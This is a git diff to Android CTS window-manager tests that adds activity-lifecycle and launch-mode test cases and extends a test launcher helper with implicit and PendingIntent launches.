         final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
@@ -979,4 +999,60 @@
         LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
                 "finishBelow");
     }
+
+    @Test
+    public void testSingleTopActivityOnActivityResultNewTask() throws Exception {
+        testSingleTopActivityForResult(true /* newTask */);
+    }
+
+    @Test
+    public void testSingleTopActivityOnActivityResult() throws Exception {
+        testSingleTopActivityForResult(false /* newTask */);
+    }
+
+    private void testSingleTopActivityForResult(boolean newTask) throws Exception {
+        // Launch a singleTop activity
+        final Launcher launcher = new Launcher(SingleTopActivity.class)
+                .setExtraFlags(EXTRA_LAUNCH_ACTIVITY);
+
+        if (newTask) {
+            launcher.setExtraFlags(EXTRA_NEW_TASK);
+        }
+        final Activity activity = launcher.launch();
+        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+
+        // Verify the result have been sent back to original activity
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(SingleTopActivity.class, ON_ACTIVITY_RESULT),"activityResult");
+    }
+
+    @Test
+    public void testLaunchOnUserLeaveHint() throws Exception {
+        new Launcher(FirstActivity.class)
+                .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+                .launch();
+
+        getLifecycleLog().clear();
+        launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+    }
+
+    @Test
+    public void testLaunchOnUserLeaveHintWithNoUserAction() throws Exception {
+        new Launcher(FirstActivity.class)
+                .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
+                .launch();
+
+        getLifecycleLog().clear();
+        new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+
+        LifecycleVerifier.assertTransitionNotObserved(getLifecycleLog(),
+                transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index 7bbf9c1..6485340 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -705,8 +705,8 @@
             getLifecycleLog().clear();
         }
 
-        // Lock screen removed, but nothing should change.
-        // Wait for something here, but don't expect anything to happen.
+        // When the lock screen is removed, the ShowWhenLocked activity will be dismissed using the
+        // back button, which should finish the activity.
         waitAndAssertActivityStates(state(showWhenLockedActivity, ON_DESTROY));
         LifecycleVerifier.assertResumeToDestroySequence(
                 ShowWhenLockedCallbackTrackingActivity.class, getLifecycleLog());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index afa03c2..0764319 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -23,10 +23,11 @@
 import static android.content.Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
+import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.WindowManagerState.STATE_DESTROYED;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
+import static android.server.wm.app.Components.NO_HISTORY_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -34,14 +35,15 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-
 import android.server.wm.ActivityLauncher;
+import android.server.wm.app.Components;
 
 import org.junit.Test;
 
@@ -69,6 +71,10 @@
             = getComponentName(TestLaunchingActivity.class);
     private static final ComponentName LAUNCHING_AND_FINISH_ACTIVITY
             = getComponentName(LaunchingAndFinishActivity.class);
+    private static final ComponentName CLEAR_TASK_ON_LAUNCH_ACTIVITY
+            = getComponentName(ClearTaskOnLaunchActivity.class);
+    private static final ComponentName FINISH_ON_TASK_LAUNCH_ACTIVITY
+            = getComponentName(FinishOnTaskLaunchActivity.class);
 
 
     /**
@@ -131,6 +137,51 @@
     }
 
     /**
+     * This test case tests show-when-locked behavior for a "no-history" activity.
+     * The no-history activity should be resumed over lockscreen.
+     */
+    @Test
+    public void testLaunchNoHistoryActivityShowWhenLocked() {
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.sleepDevice();
+
+        getLaunchActivityBuilder().setTargetActivity(NO_HISTORY_ACTIVITY)
+                .setIntentExtra(extra -> extra.putBoolean(
+                        Components.NoHistoryActivity.EXTRA_SHOW_WHEN_LOCKED, true))
+                .setUseInstrumentation().execute();
+        waitAndAssertActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED,
+            "Activity should be resumed");
+    }
+
+    /**
+     * This test case tests the behavior for a "no-history" activity after turning the screen off.
+     * The no-history activity must be resumed over lockscreen when launched again.
+     */
+    @Test
+    public void testNoHistoryActivityNotFinished() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        // Launch a no-history activity
+        getLaunchActivityBuilder().setTargetActivity(NO_HISTORY_ACTIVITY)
+                .setIntentExtra(extra -> extra.putBoolean(
+                        Components.NoHistoryActivity.EXTRA_SHOW_WHEN_LOCKED, true))
+                .setUseInstrumentation().execute();
+
+        // Wait for the activity resumed.
+        mWmState.waitForActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED);
+
+        lockScreenSession.sleepDevice();
+
+        // Launch a no-history activity
+        launchActivity(NO_HISTORY_ACTIVITY);
+
+        // Wait for the activity resumed
+        waitAndAssertActivityState(NO_HISTORY_ACTIVITY, STATE_RESUMED,
+                "Activity must be resumed");
+    }
+
+    /**
      * This test case tests "single top" activity behavior.
      * - A first launched standard activity and a second launched single top
      * activity are in same task.
@@ -467,6 +518,85 @@
                 mWmState.getTaskByActivity(STANDARD_ACTIVITY).getTaskId());
     }
 
+    /**
+     * This test case tests behavior of activity launched with ClearTaskOnLaunch attribute and
+     * FLAG_ACTIVITY_RESET_TASK_IF_NEEDED. The activities above will be removed from the task when
+     * the clearTaskonlaunch activity is re-launched again.
+     */
+    @Test
+    public void testActivityWithClearTaskOnLaunch() {
+        // Launch a clearTaskonlaunch activity
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(CLEAR_TASK_ON_LAUNCH_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .execute();
+        mWmState.waitForActivityState(CLEAR_TASK_ON_LAUNCH_ACTIVITY, STATE_RESUMED);
+        final int taskId = mWmState.getTaskByActivity(CLEAR_TASK_ON_LAUNCH_ACTIVITY).getTaskId();
+
+        // Launch a standard activity
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(STANDARD_ACTIVITY)
+                .execute();
+        mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_RESUMED);
+
+        // Return to home
+        launchHomeActivity();
+
+        // Launch the clearTaskonlaunch activity again
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(CLEAR_TASK_ON_LAUNCH_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .execute();
+        mWmState.waitForActivityState(CLEAR_TASK_ON_LAUNCH_ACTIVITY, STATE_RESUMED);
+        mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_DESTROYED);
+
+        // Make sure the task for the clearTaskonlaunch activity is front.
+        assertEquals("The task for the clearTaskonlaunch activity must be front.",
+                getActivityName(CLEAR_TASK_ON_LAUNCH_ACTIVITY),
+                mWmState.getTopActivityName(0));
+
+        assertEquals("Instance of the activity in its task must be cleared", 0,
+                mWmState.getActivityCountInTask(taskId, STANDARD_ACTIVITY));
+    }
+
+    /**
+     * This test case tests behavior of activity with finishOnTaskLaunch attribute when the
+     * activity's task is relaunched from home, this activity should be finished.
+     */
+    @Test
+    public void testActivityWithFinishOnTaskLaunch() {
+        // Launch a standard activity.
+        launchActivity(STANDARD_ACTIVITY);
+
+        final int taskId = mWmState.getTaskByActivity(STANDARD_ACTIVITY).getTaskId();
+        final int instances = mWmState.getActivityCountInTask(taskId, null);
+
+        // Launch a activity with finishOnTaskLaunch
+        launchActivity(FINISH_ON_TASK_LAUNCH_ACTIVITY);
+
+        // Make sure instances in task are increased.
+        assertEquals("instances of activity in task must be increased.", instances + 1,
+                mWmState.getActivityCountInTask(taskId, null));
+
+        // Navigate home
+        launchHomeActivity();
+
+        // Simulate to launch the activity from home again
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(STANDARD_ACTIVITY)
+                .setIntentFlags(FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .execute();
+        mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_RESUMED);
+
+        // Make sure the activity is finished.
+        assertEquals("Instance of the activity in its task must be cleared", 0,
+                mWmState.getActivityCountInTask(taskId, FINISH_ON_TASK_LAUNCH_ACTIVITY));
+    }
+
     // Test activity
     public static class StandardActivity extends Activity {
     }
@@ -489,6 +619,14 @@
     }
 
     // Test activity
+    public static class ClearTaskOnLaunchActivity extends Activity {
+    }
+
+    // Test activity
+    public static class FinishOnTaskLaunchActivity extends Activity {
+    }
+
+    // Test activity
     public static class SingleTopActivity extends Activity {
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index e96e017..2359e9c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -36,7 +36,6 @@
 import android.app.Activity;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Test;
@@ -93,7 +92,6 @@
      * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
      * for root of task.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishTask_FromRoot() throws Exception {
         final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
@@ -121,7 +119,6 @@
      * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
      * for root of task. This version verifies lifecycle when top activity is translucent
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishTask_FromRoot_TranslucentOnTop() throws Exception {
         final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
@@ -150,7 +147,6 @@
      * Verify that {@link Activity#finishAndRemoveTask()} only removes one activity in task if
      * called not for root of task.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishTask_NotFromRoot() throws Exception {
         final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
@@ -175,7 +171,6 @@
      * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity that has a
      * transition set.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAfterTransition() throws Exception {
         final TransitionSourceActivity rootActivity =
@@ -211,7 +206,6 @@
      * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity with no
      * transition set.
      */
-    @FlakyTest(bugId=137329632)
     @Test
     public void testFinishAfterTransition_noTransition() throws Exception {
         final Activity rootActivity = launchActivityAndWait(FirstActivity.class);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
index 1a622e8..f000dd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
@@ -51,7 +51,8 @@
         ON_NEW_INTENT,
         ON_MULTI_WINDOW_MODE_CHANGED,
         ON_TOP_POSITION_GAINED,
-        ON_TOP_POSITION_LOST
+        ON_TOP_POSITION_LOST,
+        ON_USER_LEAVE_HINT
     }
 
     interface LifecycleTrackerCallback {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 6045fc7..6f005b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -31,11 +31,13 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.server.wm.lifecycle.ActivityLifecycleClientTestBase.CallbackTrackingActivity;
+import android.server.wm.lifecycle.ActivityLifecycleClientTestBase.ConfigChangeHandlingActivity;
 import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
 import android.util.Pair;
 
@@ -47,6 +49,7 @@
 class LifecycleVerifier {
 
     private static final Class CALLBACK_TRACKING_CLASS = CallbackTrackingActivity.class;
+    private static final Class CONFIG_CHANGE_HANDLING_CLASS = ConfigChangeHandlingActivity.class;
 
     static void assertLaunchSequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog, LifecycleLog.ActivityCallback... expectedSubsequentEvents) {
@@ -301,9 +304,11 @@
         // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
         // don't expect a trailing ON_PAUSE.
         return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
-                ? Arrays.asList(
+                ? CONFIG_CHANGE_HANDLING_CLASS.isAssignableFrom(activityClass)
+                ? Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST)
+                : Arrays.asList(
                 ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
-                ON_CREATE, ON_MULTI_WINDOW_MODE_CHANGED, ON_START, ON_POST_CREATE, ON_RESUME,
+                ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
                 ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                         ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
@@ -386,6 +391,15 @@
                 lifecycleLog.getLog().contains(expectedTransition));
     }
 
+    /**
+     * Assert that a transition was not observer, no particular order.
+     */
+    static void assertTransitionNotObserved(LifecycleLog lifecycleLog,
+            Pair<String, ActivityCallback> expectedTransition, String transition) {
+        assertFalse("Transition " + expectedTransition + " must not be observed during "
+                        + transition, lifecycleLog.getLog().contains(expectedTransition));
+    }
+
     static void assertEmptySequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog, String transition) {
         assertSequence(activityClass, lifecycleLog, new ArrayList<>(), transition);
diff --git a/tests/framework/base/windowmanager/testsdk25/Android.bp b/tests/framework/base/windowmanager/testsdk25/Android.bp
index 3c3016f..ffd628b 100644
--- a/tests/framework/base/windowmanager/testsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk25/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWindowManagerSdk25TestCases",
     defaults: ["cts_defaults"],
@@ -26,7 +22,9 @@
         ":cts-wm-aspect-ratio-test-base",
     ],
 
-    sdk_version: "25",
+    sdk_version: "30",
+    min_sdk_version: "25",
+    target_sdk_version: "25",
 
     static_libs: [
         "androidx.test.rules",
diff --git a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
index 2e3446f..0591fca 100644
--- a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
@@ -21,7 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk25TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk28/Android.bp b/tests/framework/base/windowmanager/testsdk28/Android.bp
index d6d6d0c..e607f0f 100644
--- a/tests/framework/base/windowmanager/testsdk28/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk28/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWindowManagerSdk28TestCases",
     defaults: ["cts_defaults"],
@@ -26,7 +22,9 @@
         ":cts-wm-aspect-ratio-test-base",
     ],
 
-    sdk_version: "28",
+    sdk_version: "30",
+    min_sdk_version: "28",
+    target_sdk_version: "28",
 
     static_libs: [
         "androidx.test.rules",
diff --git a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
index ac3b62b..e315e22 100644
--- a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
@@ -22,7 +22,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk28TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk29/Android.bp b/tests/framework/base/windowmanager/testsdk29/Android.bp
index 4d2a559..f19f7b7 100644
--- a/tests/framework/base/windowmanager/testsdk29/Android.bp
+++ b/tests/framework/base/windowmanager/testsdk29/Android.bp
@@ -13,10 +13,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsWindowManagerSdk29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
index 6d1f8d8..f2e558a 100644
--- a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
@@ -22,7 +22,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk29TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/translucentapp/Android.bp b/tests/framework/base/windowmanager/translucentapp/Android.bp
index 6a3722a..9665321 100644
--- a/tests/framework/base/windowmanager/translucentapp/Android.bp
+++ b/tests/framework/base/windowmanager/translucentapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts-wm-translucent-app",
     srcs: ["src/**/*.java"],
diff --git a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
index 366b09c..2b5ff50 100644
--- a/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
+++ b/tests/framework/base/windowmanager/translucentappsdk26/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeviceTranslucentTestApp26",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/util/Android.bp b/tests/framework/base/windowmanager/util/Android.bp
index 485fade..5ad5c4f 100644
--- a/tests/framework/base/windowmanager/util/Android.bp
+++ b/tests/framework/base/windowmanager/util/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts-wm-app-util",
     srcs: [
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index 9ad005d..25b5ee8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -21,9 +21,11 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
 
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
+import android.app.PendingIntent;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -38,8 +40,14 @@
 public class ActivityLauncher {
     public static final String TAG = ActivityLauncher.class.getSimpleName();
 
+    /** Key for string extra, indicates the action to apply. */
+    public static final String KEY_ACTION = "intent_action";
     /** Key for boolean extra, indicates whether it should launch an activity. */
     public static final String KEY_LAUNCH_ACTIVITY = "launch_activity";
+    /** Key for boolean extra, indicates whether it should launch implicitly. */
+    public static final String KEY_LAUNCH_IMPLICIT = "launch_implicit";
+    /** Key for boolean extra, indicates whether it should launch fromm pending intent. */
+    public static final String KEY_LAUNCH_PENDING = "launch_pending";
     /**
      * Key for boolean extra, indicates whether it the activity should be launched to side in
      * split-screen.
@@ -103,6 +111,12 @@
      */
     private static final String KEY_CAUGHT_SECURITY_EXCEPTION = "caught_security_exception";
     /**
+     * Key for boolean extra, indicates a pending intent canceled exception is caught when
+     * launching activity by {@link #launchActivityFromExtras}.
+     */
+    private static final String KEY_CAUGHT_PENDING_INTENT_CANCELED_EXCEPTION =
+            "caught_pending_intent_exception";
+    /**
      * Key for int extra with target activity type where activity should be launched as.
      */
     public static final String KEY_ACTIVITY_TYPE = "activity_type";
@@ -133,35 +147,52 @@
         launchActivityFromExtras(context, extras, null /* launchInjector */);
     }
 
+    /**
+     * A convenience method to default to false if the extras are null.
+     *
+     * @param extras {@link Bundle} extras used to launch activity
+     * @param key key to look up in extras
+     * @return the value for the given key in the extra or false if extras is null
+     */
+    private static boolean getBoolean(Bundle extras, String key) {
+        return extras != null && extras.getBoolean(key);
+    }
+
     public static void launchActivityFromExtras(final Context context, Bundle extras,
             LaunchInjector launchInjector) {
-        if (extras == null || !extras.getBoolean(KEY_LAUNCH_ACTIVITY)) {
+        if (!getBoolean(extras, KEY_LAUNCH_ACTIVITY)) {
             return;
         }
-
         Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
 
-        final String targetComponent = extras.getString(KEY_TARGET_COMPONENT);
-        final Intent newIntent = new Intent().setComponent(TextUtils.isEmpty(targetComponent)
-                ? TEST_ACTIVITY : ComponentName.unflattenFromString(targetComponent));
+        final Intent newIntent = new Intent();
 
-        if (extras.getBoolean(KEY_LAUNCH_TO_SIDE)) {
+        if (getBoolean(extras, KEY_LAUNCH_IMPLICIT)) {
+            newIntent.setAction(extras.getString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+        } else {
+            final String targetComponent = extras.getString(KEY_TARGET_COMPONENT);
+            final ComponentName componentName = TextUtils.isEmpty(targetComponent)
+                    ? TEST_ACTIVITY : ComponentName.unflattenFromString(targetComponent);
+            newIntent.setComponent(componentName);
+        }
+
+        if (getBoolean(extras, KEY_LAUNCH_TO_SIDE)) {
             newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
-            if (extras.getBoolean(KEY_RANDOM_DATA)) {
+            if (getBoolean(extras, KEY_RANDOM_DATA)) {
                 final Uri data = new Uri.Builder()
                         .path(String.valueOf(System.currentTimeMillis()))
                         .build();
                 newIntent.setData(data);
             }
         }
-        if (extras.getBoolean(KEY_MULTIPLE_TASK)) {
+        if (getBoolean(extras, KEY_MULTIPLE_TASK)) {
             newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
         }
-        if (extras.getBoolean(KEY_NEW_TASK)) {
+        if (getBoolean(extras, KEY_NEW_TASK)) {
             newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
         }
 
-        if (extras.getBoolean(KEY_REORDER_TO_FRONT)) {
+        if (getBoolean(extras, KEY_REORDER_TO_FRONT)) {
             newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
         }
 
@@ -205,13 +236,21 @@
         }
         final Bundle optionsBundle = options != null ? options.toBundle() : null;
 
-        final Context launchContext = extras.getBoolean(KEY_USE_APPLICATION_CONTEXT) ?
+        final Context launchContext = getBoolean(extras, KEY_USE_APPLICATION_CONTEXT) ?
                 context.getApplicationContext() : context;
 
         try {
-            launchContext.startActivity(newIntent, optionsBundle);
+            if (getBoolean(extras, KEY_LAUNCH_PENDING)) {
+                PendingIntent pendingIntent = PendingIntent.getActivity(launchContext,
+                        0, newIntent, PendingIntent.FLAG_IMMUTABLE);
+                pendingIntent.send();
+            } else {
+                launchContext.startActivity(newIntent, optionsBundle);
+            }
         } catch (SecurityException e) {
             handleSecurityException(context, e);
+        } catch (PendingIntent.CanceledException e) {
+            handlePendingIntentCanceled(context, e);
         } catch (Exception e) {
             if (extras.getBoolean(KEY_SUPPRESS_EXCEPTIONS)) {
                 Log.e(TAG, "Exception launching activity");
@@ -240,6 +279,13 @@
         });
     }
 
+    public static void handlePendingIntentCanceled(Context context, Exception e) {
+        Log.e(TAG, "PendingIntent.CanceledException launching activity: " + e);
+        TestJournalProvider.putExtras(context, TAG, bundle -> {
+            bundle.putBoolean(KEY_CAUGHT_PENDING_INTENT_CANCELED_EXCEPTION, true);
+        });
+    }
+
     static boolean hasCaughtSecurityException() {
         return TestJournalContainer.get(TAG).extras.containsKey(KEY_CAUGHT_SECURITY_EXCEPTION);
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 03fe4a5..020e435 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -16,7 +16,6 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
 import static android.app.Instrumentation.ActivityMonitor;
@@ -36,6 +35,7 @@
 import static android.content.pm.PackageManager.DONT_KILL_APP;
 import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
 import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+import static android.content.pm.PackageManager.FEATURE_CROSS_LAYER_BLUR;
 import static android.content.pm.PackageManager.FEATURE_EMBEDDED;
 import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
 import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
@@ -146,10 +146,8 @@
 import android.util.EventLog;
 import android.util.EventLog.Event;
 import android.view.Display;
-import android.view.InputDevice;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
-import android.view.ViewConfiguration;
+import android.view.View;
+import android.view.WindowManager;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
@@ -213,7 +211,7 @@
     protected static final String MSG_NO_MOCK_IME =
             "MockIme cannot be used for devices that do not support installable IMEs";
 
-    private static final String LOCK_CREDENTIAL = "1234";
+    protected static final String LOCK_CREDENTIAL = "1234";
 
